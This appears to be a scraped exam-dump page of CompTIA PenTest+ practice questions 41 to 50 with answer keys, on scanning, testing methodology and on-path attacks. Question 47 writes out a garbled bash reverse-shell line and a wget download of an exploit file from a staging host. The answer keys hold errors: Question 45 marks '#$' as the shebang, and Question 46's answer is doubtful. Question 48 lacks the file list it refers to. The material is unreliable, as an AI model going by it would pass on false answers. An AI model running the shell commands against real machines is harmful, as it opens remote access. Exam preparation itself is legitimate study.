CompTIA CompTIA PenTest+ PT1-002 Questions & Answers

• Question 41:

  A penetration tester ran an Nmap scan on an Internet-facing network device with the –F option and found a few open ports. To further enumerate, the tester ran another scan using the following command:

  nmap –O –A –sS –p- 100.100.100.50

  Nmap returned that all 65,535 ports were filtered. Which of the following MOST likely occurred on the second scan?

  A. A firewall or IPS blocked the scan.

  B. The penetration tester used unsupported flags.

  C. The edge network device was disconnected.

  D. The scan returned ICMP echo replies.

  Correct Answer: A

  Reference: https://phoenixnap.com/kb/nmap-scan-open-ports

• Question 42:

  In an unprotected network file repository, a penetration tester discovers a text file containing usernames and passwords in cleartext and a spreadsheet containing data for 50 employees, including full names, roles, and serial numbers. The tester realizes some of the passwords in the text file follow the format: . Which of the following would be the best action for the tester to take NEXT with this information?

  A. Create a custom password dictionary as preparation for password spray testing.

  B. Recommend using a password manage/vault instead of text files to store passwords securely.

  C. Recommend configuring password complexity rules in all the systems and applications.

  D. Document the unprotected file repository as a finding in the penetration-testing report.

  Correct Answer: D

• Question 43:

  Which of the following is the MOST effective person to validate results from a penetration test?

  A. Third party

  B. Team leader

  C. Chief Information Officer

  D. Client

  Correct Answer: B

• Question 44:

  A penetration tester is working on a scoping document with a new client. The methodology the client uses includes the following:

  Pre-engagement interaction (scoping and ROE) Intelligence gathering (reconnaissance) Threat modeling Vulnerability analysis Exploitation and post exploitation Reporting

  Which of the following methodologies does the client use?

  A. OWASP Web Security Testing Guide

  B. PTES technical guidelines

  C. NIST SP 800-115

  D. OSSTMM

  Correct Answer: B

  Reference: https://kirkpatrickprice.com/blog/stages-of-penetration-testing-according-to-ptes/

• Question 45:

  When developing a shell script intended for interpretation in Bash, the interpreter /bin/bash should be explicitly specified. Which of the following character combinations should be used on the first line of the script to accomplish this goal?

  A. <#

  B. <$

  C. ##

  D. #$

  E. #!

  Correct Answer: D

  Reference: https://linuxconfig.org/bash-scripting-tutorial-for-beginners

• Question 46:

  A penetration tester has established an on-path attack position and must now specially craft a DNS query response to be sent back to a target host. Which of the following utilities would BEST support this objective?

  A. Socat

  B. tcpdump

  C. Scapy

  D. dig

  Correct Answer: A

  Reference: https://unix.stackexchange.com/questions/520348/using-socat-how-to-send-to-and-receive-from-a-public-dns-server

• Question 47:

  A penetration tester ran the following command on a staging server:

  python –m SimpleHTTPServer 9891

  Which of the following commands could be used to download a file named exploit to a target machine for execution?

  A. nc 10.10.51.50 9891 < exploit

  B. powershell –exec bypass –f \\10.10.51.50\9891

  C. bash –i >and /dev/tcp/10.10.51.50/9891 0and1>/exploit

  D. wget 10.10.51.50:9891/exploit

  Correct Answer: D

  Reference: https://www.redhat.com/sysadmin/simple-http-server

• Question 48:

  A penetration tester discovered a vulnerability that provides the ability to upload to a path via directory traversal. Some of the files that were discovered through this vulnerability are: Which of the following is the BEST method to help an attacker gain internal access to the affected machine?

  

  A. Edit the discovered file with one line of code for remote callback

  B. Download .pl files and look for usernames and passwords

  C. Edit the smb.conf file and upload it to the server

  D. Download the smb.conf file and look at configurations

  Correct Answer: C

• Question 49:

  A penetration tester would like to obtain FTP credentials by deploying a workstation as an on-path attack between the target and the server that has the FTP protocol. Which of the following methods would be the BEST to accomplish this objective?

  A. Wait for the next login and perform a downgrade attack on the server.

  B. Capture traffic using Wireshark.

  C. Perform a brute-force attack over the server.

  D. Use an FTP exploit against the server.

  Correct Answer: B

  Reference: https://shahmeeramir.com/penetration-testing-of-an-ftp-server-19afe538be4b

• Question 50:

  Penetration-testing activities have concluded, and the initial findings have been reviewed with the client. Which of the following best describes the NEXT step in the engagement?

  A. Acceptance by the client and sign-off on the final report

  B. Scheduling of follow-up actions and retesting

  C. Attestation of findings and delivery of the report

  D. Review of the lessons learned during the engagement

  Correct Answer: A